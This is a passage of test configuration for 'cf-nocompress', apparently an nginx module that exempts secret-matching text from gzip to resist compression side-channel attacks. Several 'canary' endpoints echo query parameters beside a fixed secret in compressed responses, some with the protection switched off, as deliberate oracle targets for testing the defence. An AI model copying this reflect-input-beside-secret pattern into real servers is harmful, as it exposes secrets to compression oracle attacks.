IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 305 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 306 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 307 | } 308 | } 309 | 310 | location /canary3 { 311 | default_type 'text/html'; 312 | gzip on; 313 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 314 | content_by_lua_block { 315 | require('cf_nocompress').enable(true); 316 | ngx.header.content_type = "text/html"; 317 | local args = ngx.req.get_uri_args() 318 | 319 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 320 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 321 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 322 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 323 | 324 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 325 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 326 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 327 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 328 | 329 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 330 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 331 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 332 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 333 | 334 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 335 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 336 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 337 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 338 | 339 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 340 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 341 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 342 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 343 | 344 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 345 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 346 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 347 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 348 | 349 | for key, val in pairs(args) do 350 | if type(val) == "table" then 351 | ngx.say(key, ":", table.concat(val, ", ")) 352 | else 353 | ngx.say(key, ":", val) 354 | end 355 | end 356 | 357 | ngx.say("CanaryCrazyFun:11222") 358 | 359 | 360 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 361 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 362 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 363 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 364 | 365 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 366 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 367 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 368 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 369 | 370 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 371 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 372 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 373 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 374 | 375 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 376 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 377 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 378 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 379 | 380 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 381 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 382 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 383 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 384 | } 385 | } 386 | 387 | location /safe_canary3 { 388 | default_type 'text/html'; 389 | gzip on; 390 | cf_no_compress 'CanaryCrazyFun:[0-9]{5}'; 391 | content_by_lua_block { 392 | require('cf_nocompress').enable(true); 393 | ngx.header.content_type = "text/html"; 394 | local args = ngx.req.get_uri_args() 395 | 396 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 397 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 398 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 399 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 400 | 401 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 402 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 403 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 404 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 405 | 406 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 407 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 408 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 409 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 410 | 411 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 412 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 413 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 414 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 415 | 416 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 417 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 418 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 419 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 420 | 421 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 422 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 423 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 424 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 425 | 426 | for key, val in pairs(args) do 427 | if type(val) == "table" then 428 | ngx.say(key, ":", table.concat(val, ", ")) 429 | else 430 | ngx.say(key, ":", val) 431 | end 432 | end 433 | 434 | ngx.say("CanaryCrazyFun:11222") 435 | 436 | 437 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 438 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 439 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 440 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 441 | 442 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 443 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 444 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 445 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 446 | 447 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 448 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 449 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 450 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 451 | 452 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 453 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 454 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 455 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 456 | 457 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 458 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 459 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 460 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 461 | } 462 | } 463 | } 464 | } -------------------------------------------------------------------------------- /cf-nocompress/tests/simple_env.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import os 5 | 6 | from ngxtest import env 7 | 8 | class SimpleEnv(env.NginxEnv): 9 | _filter_logfile = '/tmp/nginx_filter.log' 10 | 11 | _config = ''' 12 | master_process off; 13 | daemon off; 14 | pid ./nginx-fl.pid; 15 | 16 | error_log /tmp/nginx_error.log {{log_level}}; 17 | 18 | 19 | debug_points stop; 20 | 21 | events { 22 | } 23 | 24 | http { 25 | access_log off; 26 | 27 | lua_package_path "{{testdir}}/../../lua/?.lua;{{luadir}}/lua-cjson/lua/?.lua"; 28 | lua_package_cpath "{{luadir}}/lua-cjson/?.so"; 29 | 30 | lua_shared_dict metrics 1m; 31 | 32 | server { 33 | listen 32080 ssl; 34 | ssl_certificate ../../../t/cert/test.crt; 35 | ssl_certificate_key ../../../t/cert/test.key; 36 | server_name localhost; 37 | 38 | location / { 39 | default_type 'text/html'; 40 | content_by_lua_block { 41 | ngx.say('Hello,world! My secret is 12345') 42 | } 43 | } 44 | 45 | location /gzip { 46 | default_type 'text/html'; 47 | cf_no_compress 'A+'; 48 | gzip on; 49 | content_by_lua_block { 50 | ngx.say('Hello,world! My secret is 12345') 51 | } 52 | } 53 | 54 | location /no_compress_but_not_enabled { 55 | default_type 'text/html'; 56 | cf_no_compress '[a-zA-Z]+'; 57 | gzip on; 58 | content_by_lua_block { 59 | require('cf_nocompress').enable(false); 60 | ngx.say('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); 61 | } 62 | } 63 | 64 | location /no_compress_and_is_enabled { 65 | default_type 'text/html'; 66 | cf_no_compress 'A+'; 67 | gzip on; 68 | content_by_lua_block { 69 | require('cf_nocompress').enable(true); 70 | ngx.say('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); 71 | } 72 | } 73 | 74 | location /deployment_test { 75 | default_type 'text/html'; 76 | cf_no_compress 'KEY:[0-9]{10}'; 77 | gzip on; 78 | content_by_lua_block { 79 | require('cf_nocompress').enable(true); 80 | ngx.say('KEY:121212'); 81 | } 82 | } 83 | 84 | location /ratio_hit { 85 | default_type 'text/html'; 86 | gzip on; 87 | cf_no_compress 'HELLO'; 88 | content_by_lua_block { 89 | require('cf_nocompress').enable(true); 90 | ngx.header.content_type = "text/html"; 91 | local args = ngx.req.get_uri_args() 92 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHELLOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") 93 | } 94 | } 95 | 96 | location /ratio_hit2 { 97 | default_type 'text/html'; 98 | gzip on; 99 | cf_no_compress 'DOGDOGDOG'; 100 | content_by_lua_block { 101 | require('cf_nocompress').enable(true); 102 | ngx.header.content_type = "text/html"; 103 | local args = ngx.req.get_uri_args() 104 | ngx.say("HELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDDOGDOGDOGHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLD") 105 | } 106 | } 107 | 108 | location /ratio_hit_start { 109 | default_type 'text/html'; 110 | gzip on; 111 | cf_no_compress 'DOGDOGDOG'; 112 | content_by_lua_block { 113 | require('cf_nocompress').enable(true); 114 | ngx.header.content_type = "text/html"; 115 | local args = ngx.req.get_uri_args() 116 | ngx.say("DOGDOGDOGHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLDHELLOWORLD") 117 | } 118 | } 119 | 120 | location /safe_canary { 121 | default_type 'text/html'; 122 | gzip on; 123 | cf_no_compress '[A-Z]+'; 124 | content_by_lua_block { 125 | require('cf_nocompress').enable(true); 126 | ngx.header.content_type = "text/html"; 127 | local args = ngx.req.get_uri_args() 128 | 129 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAMAMAAAAAAAAAAAAAAAAAAAAAN") 130 | 131 | for key, val in pairs(args) do 132 | if type(val) == "table" then 133 | ngx.say(key, ":", table.concat(val, ", ")) 134 | else 135 | ngx.say(key, ":", val) 136 | end 137 | end 138 | 139 | ngx.say("CanaryCrazyFun:AZAZA") 140 | } 141 | } 142 | 143 | location /bad_rule_canary { 144 | default_type 'text/html'; 145 | gzip on; 146 | cf_no_compress '[0-9]+'; 147 | content_by_lua_block { 148 | require('cf_nocompress').enable(true); 149 | ngx.header.content_type = "text/html"; 150 | local args = ngx.req.get_uri_args() 151 | 152 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAMAMAAAAAAAAAAAAAAAAAAAAAN") 153 | 154 | for key, val in pairs(args) do 155 | if type(val) == "table" then 156 | ngx.say(key, ":", table.concat(val, ", ")) 157 | else 158 | ngx.say(key, ":", val) 159 | end 160 | end 161 | 162 | ngx.say("CanaryCrazyFun:AZAZA") 163 | } 164 | } 165 | 166 | location /canary { 167 | default_type 'text/html'; 168 | gzip on; 169 | cf_no_compress '[A-Z]+'; 170 | content_by_lua_block { 171 | require('cf_nocompress').enable(false); 172 | ngx.header.content_type = "text/html"; 173 | local args = ngx.req.get_uri_args() 174 | 175 | ngx.say("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAMAMAAAAAAAAAAAAAAAAAAAAAN") 176 | 177 | for key, val in pairs(args) do 178 | if type(val) == "table" then 179 | ngx.say(key, ":", table.concat(val, ", ")) 180 | else 181 | ngx.say(key, ":", val) 182 | end 183 | end 184 | 185 | ngx.say("CanaryCrazyFun:AZAZA") 186 | ngx.exit(200) 187 | } 188 | } 189 | 190 | location /canary2 { 191 | default_type 'text/html'; 192 | gzip on; 193 | cf_no_compress 'CrazyCrazyFun:[A-Z]{5}'; 194 | content_by_lua_block { 195 | require('cf_nocompress').enable(false); 196 | ngx.header.content_type = "text/html"; 197 | local args = ngx.req.get_uri_args() 198 | 199 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 200 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 201 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 202 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 203 | 204 | for key, val in pairs(args) do 205 | if type(val) == "table" then 206 | ngx.say(key, ":", table.concat(val, ", ")) 207 | else 208 | ngx.say(key, ":", val) 209 | end 210 | end 211 | 212 | ngx.say("CanaryCrazyFun:AZAZA") 213 | 214 | 215 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 216 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 217 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 218 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 219 | } 220 | } 221 | 222 | location /safe_canary2 { 223 | default_type 'text/html'; 224 | gzip on; 225 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 226 | content_by_lua_block { 227 | require('cf_nocompress').enable(true); 228 | ngx.header.content_type = "text/html"; 229 | local args = ngx.req.get_uri_args() 230 | 231 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 232 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 233 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 234 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 235 | 236 | for key, val in pairs(args) do 237 | if type(val) == "table" then 238 | ngx.say(key, ":", table.concat(val, ", ")) 239 | else 240 | ngx.say(key, ":", val) 241 | end 242 | end 243 | 244 | ngx.say("CanaryCrazyFun:AZAZA") 245 | 246 | 247 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 248 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 249 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 250 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 251 | } 252 | } 253 | 254 | location /canary2_repeated { 255 | default_type 'text/html'; 256 | gzip on; 257 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 258 | content_by_lua_block { 259 | require('cf_nocompress').enable(false); 260 | ngx.header.content_type = "text/html"; 261 | local args = ngx.req.get_uri_args() 262 | 263 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 264 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 265 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 266 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 267 | 268 | ngx.say("CanaryCrazyFun:AZAZA") 269 | 270 | for key, val in pairs(args) do 271 | if type(val) == "table" then 272 | ngx.say(key, ":", table.concat(val, ", ")) 273 | else 274 | ngx.say(key, ":", val) 275 | end 276 | end 277 | 278 | ngx.say("CanaryCrazyFun:AZAZA") 279 | 280 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 281 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 282 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 283 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 284 | } 285 | } 286 | 287 | location /safe_canary2_repeated { 288 | default_type 'text/html'; 289 | gzip on; 290 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 291 | content_by_lua_block { 292 | require('cf_nocompress').enable(true); 293 | ngx.header.content_type = "text/html"; 294 | local args = ngx.req.get_uri_args() 295 | 296 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 297 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 298 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 299 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 300 | 301 | ngx.say("CanaryCrazyFun:AZAZA") 302 | 303 | for key, val in pairs(args) do 304 | if type(val) == "table" then 305 | ngx.say(key, ":", table.concat(val, ", ")) 306 | else 307 | ngx.say(key, ":", val) 308 | end 309 | end 310 | 311 | ngx.say("CanaryCrazyFun:AZAZA") 312 | 313 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 314 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 315 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 316 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 317 | } 318 | } 319 | 320 | location /canary3 { 321 | default_type 'text/html'; 322 | gzip on; 323 | cf_no_compress 'CanaryCrazyFun:[A-Z]{5}'; 324 | content_by_lua_block { 325 | require('cf_nocompress').enable(true); 326 | ngx.header.content_type = "text/html"; 327 | local args = ngx.req.get_uri_args() 328 | 329 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 330 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 331 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 332 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 333 | 334 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 335 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 336 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 337 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 338 | 339 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 340 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 341 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 342 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 343 | 344 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 345 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 346 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 347 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 348 | 349 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 350 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 351 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 352 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 353 | 354 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 355 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 356 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 357 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 358 | 359 | for key, val in pairs(args) do 360 | if type(val) == "table" then 361 | ngx.say(key, ":", table.concat(val, ", ")) 362 | else 363 | ngx.say(key, ":", val) 364 | end 365 | end 366 | 367 | ngx.say("CanaryCrazyFun:11222") 368 | 369 | 370 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 371 | ngx.say("LOREM IPSUM LOREM LOREM IPSUM LOREM LOREM LOREM LOREM IPSUM LOREM LOREM") 